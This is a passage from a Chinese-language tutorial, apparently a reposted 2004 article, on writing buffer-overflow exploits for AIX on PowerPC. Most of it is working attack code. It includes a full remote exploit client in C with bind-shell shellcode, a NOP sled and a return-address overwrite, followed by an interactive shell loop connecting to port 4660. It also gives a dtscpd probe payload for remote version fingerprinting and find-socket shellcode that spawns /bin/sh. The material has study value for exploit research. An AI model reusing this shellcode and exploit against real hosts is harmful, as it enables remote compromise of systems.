r24            0xdeadbeef       -559038737
r25            0xdeadbeef       -559038737
r26            0xdeadbeef       -559038737
r27            0xdeadbeef       -559038737
r28            0x20000640       536872512
r29            0x10000000       268435456
r30            0x3      3
r31            0x41424344       1094861636
pc             0x41424344       1094861636
ps             0x4000d032       1073795122
cr             0x2a222828       706881576
lr             0x41424344       1094861636
ctr            0x0      0
xer            0x0      0
fpscr          0x0      0
vscr           0x0      0
vrsave         0x0      0

调试了需要覆盖的缓冲区大小和溢出时缓冲区的地址后,就可以方便的写溢出攻击程序了:

/* client.c -  remote overflow demo
*
*  2004.06.16
*  san@nsfocus.com
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

// It needs adjust.
#define RET 0x2ff22d88;

unsigned char sh_Buff[] =
    "\x7e\x94\xa2\x79"     /* xor.    r20,r20,r20            */
    "\x40\x82\xff\xfd"     /* bnel              */
    "\x7e\xa8\x02\xa6"     /* mflr    r21                    */
    "\x3a\xc0\x01\xff"     /* lil     r22,0x1ff              */
    "\x3a\xf6\xfe\x2d"     /* cal     r23,-467(r22)          */
    "\x7e\xb5\xba\x14"     /* cax     r21,r21,r23            */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */

    "\x05\x82\x53\xa0"     /* syscall numbers                */
    "\x87\xa0\x01\x42"     /* execve=0x05 close=0xa0         */
    "\x8d\x8c\x8b\x8a"     /* socket=0x8d bind=0x8c          */
                           /* listen=0x8b naccept=0x8a       */
                           /* kfcntl=0x142                   */

    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca    0x0                    */
    "\x3a\xb5\xff\xf8"     /* cal     r21,-8(r21)            */

    "\x2c\x74\x12\x34"     /* cmpi    cr0,r20,0x1234         */
    "\x41\x82\xff\xfd"     /* beql              */
    "\x7f\x08\x02\xa6"     /* mflr    r24                    */
    "\x92\x98\xff\xfc"     /* st      r20,-4(r24)            */
    "\x38\x76\xfe\x03"     /* cal     r3,-509(r22)           */
    "\x38\x96\xfe\x02"     /* cal     r4,-510(r22)           */
    "\x98\x78\xff\xf9"     /* stb     r3,-7(r24)             */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xfc"     /* lbz     r2,-4(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x38\x98\xff\xf8"     /* cal     r4,-8(r24)             */
    "\x38\xb6\xfe\x11"     /* cal     r5,-495(r22)           */
    "\x88\x55\xff\xfd"     /* lbz     r2,-3(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x38\x96\xfe\x06"     /* cal     r4,-506(r22)           */
    "\x88\x55\xff\xfe"     /* lbz     r2,-2(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xff"     /* lbz     r2,-1(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x3b\x56\xfe\x03"     /* cal     r26,-509(r22)          */
    "\x7f\x43\xd3\x78"     /* mr      r3,r26                 */
    "\x88\x55\xff\xf7"     /* lbz     r2,-9(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7f\x45\xd3\x78"     /* mr      r5,r26                 */
    "\xa0\x55\xff\xfa"     /* lhz     r2,-6(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x37\x5a\xff\xff"     /* ai.     r26,r26,-1             */
    "\x40\x80\xff\xd4"     /* bge           */

    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
    "\x40\x82\xff\xfd"     /* bnel                */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                    */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
    "\x88\x55\xff\xf4"     /* lbz     r2,-12(r21)            */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */
    "/bin/sh"
;

// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    int s,i,bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        close(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctl(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        close(s);
        return -3;
    }
    if(i==0)
    {
        close(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        close(s);
        return -5;
    }
    ioctl(s,FIONBIO,&bf);
    return s;
}

/* ripped from TESO code */
void shell (int sock)
{
    int     l;
    char    buf[512];
    fd_set  rfds;

    while (1) {
        FD_SET (0, &rfds);
        FD_SET (sock, &rfds);

        select (sock + 1, &rfds, NULL, NULL, NULL);

        if (FD_ISSET (0, &rfds)) {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) {
                perror ("read user");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }

        if (FD_ISSET (sock, &rfds)) {
            l = read (sock, buf, sizeof (buf));
            if (l <= 0) {
                perror ("read remote");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

void PrintSc(unsigned char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];
    fprintf(stderr, "/* %d bytes */\n",buffsize);
    for(i=0;i     {
        if((i%4)==0)
            if(i!=0)
                fprintf(stderr, "\"\n\"");
            else
                fprintf(stderr, "\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                fprintf(stderr, "%c", _tolower(*p));
            else
                fprintf(stderr, "%c", p[0]);
        }
    }
    fprintf(stderr, "\";\n");
}

int main(int argc, char *argv[]) {
    unsigned char Buff[1024];

    unsigned long *ps;
    int s, i, k;

    if (argc < 3) {
        fprintf(stderr, "Usage: %s remote_ip remote_port\n", argv[0]);
        return -1;
    }

    // 建立连接
    s = Make_Connection(argv[1], atoi(argv[2]), 10);
    if (!s) {
        fprintf(stderr, "[-] Connect failed. \n");
        return -1;
    }

    // 构造攻击Buff
    ps = (unsigned long *)Buff;
    for(i=0; i     {
        *(ps++) = 0x60000000;
    }
    
    i = sizeof(sh_Buff) % 4;
    
    memcpy(&Buff[sizeof(Buff) - sizeof(sh_Buff) - i], sh_Buff, sizeof(sh_Buff));

    ps = (unsigned long *)Buff;
    for(i=0; i<92/4; i++)
    {
        *(ps++) = RET;
    }
    Buff[sizeof(Buff) - 1] = 0;
    
    PrintSc(Buff, sizeof(Buff));

    // 发送构造的Buff
    i = send(s, Buff, sizeof(Buff), 0);
    if (i <= 0) {
        fprintf(stderr, "[-] Send failed. \n");
        return -1;
    }

    sleep (1);
    
    k = Make_Connection(argv[1], 4660, 10);
    if (!k) {
        fprintf(stderr, "[-] Connect failed. \n");
        return -1;
    }

    shell(k);

}

溢出程序的写法和其它平台没什么两样,唯一的障碍是AIX各版本的系统调用号不同,从而导致攻击程序不通用,另外就是要注意I-cache的问题。对于本 地溢出攻击,可以先用oslevel -r来判断系统的版本,然后把相应的系统中断号写入shellcode,但是对于远程溢出攻击这种方法是行不通的。变通的方法是如果系统开了dtscpd 服务(6112端口),那么给这个服务发送如下数据:

char peer0_0[] = {
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
0x30, 0x34, 0x30, 0x30, 0x30, 0x64, 0x30, 0x30,
0x30, 0x31, 0x20, 0x20, 0x34, 0x20, 0x00, 0x72,
0x6f, 0x6f, 0x74, 0x00, 0x00, 0x31, 0x30, 0x00,
0x00 };

在我的测试系统,dtscpd返回如下信息:

aix5:AIX:1:001381144C00

这样我们可以远程得到系统比较确切的版本信息,然后可以把相应的系统中断号写入shellcode以增加溢出的成功率。

八、查找socket的shellcode

对于有防火墙限制等网络环境,绑定端口的shellcode可能导致无法连接,反向连接在配置严格的环境可能也无法连接,如果使用攻击时的那个连接就没有这些担忧。

lsd提供了getpeername这种方法来查找socket,这种方法存在一个问题,如果攻击方在NAT的网络环境里,那么攻击方发送过去的端口号和 服务端查找的端口可能不匹配,导致socket查找失败。bkbll提到过另一种简单易行的办法,就是使用OOB带外数据,Berkeley套接口的实现 OOB数据一般不会被阻塞的。下面就是该shellcode在AIX 5.1上的实现:

void ShellCode()
{
    asm                              \
    ("                               \
Start:                              ;\
        xor.    %r20, %r20, %r20    ;\
        bnel    Start               ;\
        mflr    %r21                ;\
        addi    %r21, %r21, 12      ;\
        b       Loop                ;\
        crorc   %cr6, %cr6, %cr6    ;\
        svca    0                   ;\
                                     \
Loop:                               ;\
        li      %r2, 0x81           ;\
        mr      %r3, %r20           ;\
        addi    %r4, %r21, -40      ;\
        li      %r5, 1              ;\
        li      %r6, 1              ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        lbz     %r4, -40(%r21)      ;\
        cmpi    %cr0, %r4, 0x49     ;\
        beq     Found               ;\
        addi    %r20, %r20, 1       ;\
        b       Loop                ;\
                                     \
Found:                              ;\
        li      %r22, 2             ;\
                                     \
DupHandle:                          ;\
        li      %r2, 0xa0           ;\
        mr      %r3, %r22           ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        li      %r2, 0x142          ;\
        mr      %r3, %r20           ;\
        li      %r4, 0              ;\
        mr      %r5, %r22           ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        addic.  %r22, %r22, -1      ;\
        bge     DupHandle           ;\
                                     \
        addi    %r3, %r21, 140      ;\
        stw     %r3, -8(%r1)        ;\
        li      %r5, 0              ;\
        stw     %r5, -4(%r1)        ;\
        subi    %r4, %r1, 8         ;\
        li      %r2, 5              ;\
        crorc   %cr6, %cr6, %cr6    ;\
        svca    0                   ;\
        .byte   '/', 'b', 'i', 'n',  \
                '/', 's', 'h', 0x0  ;\
    ");
}

其它版本的AIX需要修改相应的系统调用号。

我在Xcon 2004有一个关于查找socket shellcode实现的议题,有兴趣的朋友可以一起探讨。

九、参考资料

[1]  UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes
     http://lsd-pl.net/unix_assembly.html
[2]  PowerPC / OS X (Darwin) Shellcode Assembly - B-r00t
[3]  Assembler Language Reference
     http://publib16.boulder.ibm.com/pseries/en_US/aixassem/alangref/alangreftfrm.htm
[4]  PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors
     http://www-3.ibm.com/chips/techlib/techlib.nsf/techdocs/852569B20050FF778525699600719DF2/$file/6xx_pem.pdf
[5]  OPTIMIZING PowerPC CODE - Gary Kacmarcik
[6]  PowerPC assembly
     http://www-900.ibm.com/developerWorks/cn/linux/hardware/ppc/assembly/index_eng.shtml
[7]  A developer's guide to the PowerPC architecture
     http://www-900.ibm.com/developerWorks/cn/linux/l-powarch/index_eng.shtml
[8]  [Tips]AIX (PPC)上写exploite 1。
     https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28177
[9]  http://aixpdslib.seas.ucla.edu/
[10] 64-bit PowerPC ELF Application Binary Interface Supplement 1.7
     http://www.linuxbase.org/spec/ELF/ppc64/spec/book1.html
[11] Mach-O Runtime Conventions for PowerPC
     http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/2rt_powerpc_abi/chapter_9_section_1.html
[12] Programmer's Introduction to PowerPC
     http://physinfo-mac0.ulb.ac.be/divers_html/PowerPC_Programming_Info/intro_to_ppc/ppc0_index.html
[13] http://www.honeynet.org/scans/scan28/
阅读(2214) | 评论(0) | 转发(1) |
给主人留下些什么吧!~~